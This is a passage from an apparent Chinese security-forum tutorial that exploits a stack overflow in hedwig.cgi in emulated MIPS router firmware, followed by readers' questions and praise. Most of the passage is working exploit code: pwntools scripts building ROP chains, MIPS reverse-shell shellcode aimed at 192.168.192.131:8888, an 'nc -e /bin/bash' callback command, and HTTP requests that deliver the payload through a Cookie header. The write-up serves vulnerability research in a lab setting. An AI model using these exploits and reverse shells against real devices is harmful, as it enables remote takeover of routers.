	addiu $sp, $sp, -20
	
	slti $a2, $zero, 0xFFFF
	li $v0, 4011
	syscall 0x42424
''')
payload += b'a'*0x18
payload += shellcode

fd = open("payload", "wb")
fd.write(payload)
fd.close()
```

用`scp -r ./payload root@192.168.192.133:/root/squashfs-root`将`payload`文件传给`qemu`虚拟机后，在`run.sh`中直接用`echo "winmt=pwner"|/htdocs/web/hedwig.cgi`打就行了，上面两个脚本都能成功打通：

![](upload/attach/202204/949925_BHUQBYPGPU7UZ9Q.png)

需要注意的是，得先执行`nc -lvnp 8888`开启监听，再打`payload`。

### 方法二：直接发送http报文

我们之前开启`httpd`服务，就是为了这种打`exp`的方式，直接发送数据包给之前`http_conf`配置文件中设置的`192.168.192.133:1234`即可。

**1. 纯ROP链**

```python
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

cmd = b'nc -e /bin/bash 192.168.192.131 8888'

libc_base = 0x77f34000

url = "http://192.168.192.133:1234/hedwig.cgi"
data = {"winmt" : "pwner"}
headers = {
	"Cookie"        : b"uid=" + payload,
	"Content-Type"  : "application/x-www-form-urlencoded",
	"Content-Length": "11"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)
```

**2. ROP + shellcode**

```python
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x77f34000

payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4  move  $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra  addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
	slti $a0, $zero, 0xFFFF
	li $v0, 4006
	syscall 0x42424

slti $a0, $zero, 0x1111
	li $v0, 4006
	syscall 0x42424

li $t4, 0xFFFFFFFD
	not $a0, $t4
	li $v0, 4006
	syscall 0x42424

li $t4, 0xFFFFFFFD
	not $a0, $t4
	not $a1, $t4
	slti $a2, $zero, 0xFFFF
	li $v0, 4183
	syscall 0x42424

andi $a0, $v0, 0xFFFF
	li $v0, 4041
	syscall 0x42424
	li $v0, 4041
	syscall 0x42424
	
	lui $a1, 0xB821 # Port: 8888
	ori $a1, 0xFF01
	addi $a1, $a1, 0x0101
	sw $a1, -8($sp)

li $a1, 0x83C0A8C0 # IP: 192.168.192.131
	sw $a1, -4($sp)
	addi $a1, $sp, -8

li $t4, 0xFFFFFFEF
	not $a2, $t4
	li $v0, 4170
	syscall 0x42424

lui $t0, 0x6962
	ori $t0, $t0,0x2f2f
	sw $t0, -20($sp)
	
	lui $t0, 0x6873
	ori $t0, 0x2f6e
	sw $t0, -16($sp)
	
	slti $a3, $zero, 0xFFFF
	sw $a3, -12($sp)
	sw $a3, -4($sp)

上面两个脚本也都是能够成功打通的：

![](upload/attach/202204/949925_92NBXEDZAQMKVBX.png)

登录后可查看完整内容

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！

最后于 2022-4-15 21:37 被winmt编辑，原因：

#漏洞分析 #漏洞利用 #缓冲区溢出 #Linux

最新回复 (14)
有毒雪币： 18082 活跃值： (17521) 能力值： (RANK：730 ) 在线值：发帖 56 回帖 533 粉丝 363 关注私信	有毒 10 2 楼强！ 2022-4-19 09:44 0
Cookie11 雪币： 240 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 1 关注私信	Cookie11 3 楼大佬 2022-4-25 19:26 0
Backsp4ce 雪币： 188 活跃值： (315) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 2 粉丝 1 关注私信	Backsp4ce 4 楼谢谢师傅分享，学到了很多 2022-7-12 16:45 0
向往阳光的月雪币： 185 活跃值： (200) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 4 粉丝 1 关注私信	向往阳光的月 5 楼问下为什么从`&off_42C014`那里可以可以看到其跳转到了`sub_403B10`函数？ 2022-7-14 11:17 0
XiaozaYa 雪币： 5920 活跃值： (4195) 能力值： ( LV9，RANK：250 ) 在线值：发帖 16 回帖 62 粉丝 65 关注私信	XiaozaYa 5 6 楼为啥我调试libc_base时，memset那里的地址不是7f开头的呢？ 2023-6-21 11:41 0
XiaozaYa 雪币： 5920 活跃值： (4195) 能力值： ( LV9，RANK：250 ) 在线值：发帖 16 回帖 62 粉丝 65 关注私信	XiaozaYa 5 7 楼这里已经是第二次调用memset了，为啥地址是这个呢？libc的地址不是7f开头的码？ 2023-6-21 11:42 0
mb_djfgavyl 雪币： 13 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 4 粉丝 1 关注私信	mb_djfgavyl 8 楼加我qq，大神 2023-7-14 23:44 0
unpWn4bL3 雪币： 378 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 2 粉丝 1 关注私信	unpWn4bL3 9 楼请教下楼主是怎么走到溢出点2的？我审了一遍发现控制haystack是调用sub_409A6C生成的，但是sub_403B10 -> sub_402B40这个链上会要求sub_402B40的第一个参数非空才能成功调用v9，但是在每一处调用sub_402B40之前，第一个参数似乎都设置成了0 2023-11-15 14:01 0
mb_jyqtpfro 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 1 关注私信	mb_jyqtpfro 10 楼请问这个系统模式下init.sh这个脚本文件里面的这些815漏洞需要用到的库是怎么确定的呢 2024-8-19 23:17 0
mb_jyqtpfro 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 1 关注私信	mb_jyqtpfro 11 楼 XiaozaYa 这里已经是第二次调用memset了，为啥地址是这个呢？libc的地址不是7f开头的码？要不你再接着执行si进入libc，这个时候memset的地址应该是7f开头了吧 2024-8-29 16:07 0
mb_zkvlfxeg 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 1 关注私信	mb_zkvlfxeg 12 楼好棒 2024-11-6 03:03 0
Julian__ 雪币： 14 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 13 粉丝 0 关注私信	Julian__ 13 楼真神，得细品 2025-9-10 16:15 0
leopadpanzer 雪币： 226 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 9 粉丝 0 关注私信	leopadpanzer 14 楼写的真的好，困扰我的好几个细节都写出来了，mips栈漏洞分析看了这么多，这是最精品的一篇 2025-9-18 10:14 0
mb_qlwuaden 雪币： 221 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	mb_qlwuaden 15 楼为什么我用户模式调试的时候，第二次调用memst，得到的函数地址是0x2b334a20 2026-7-19 18:02 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复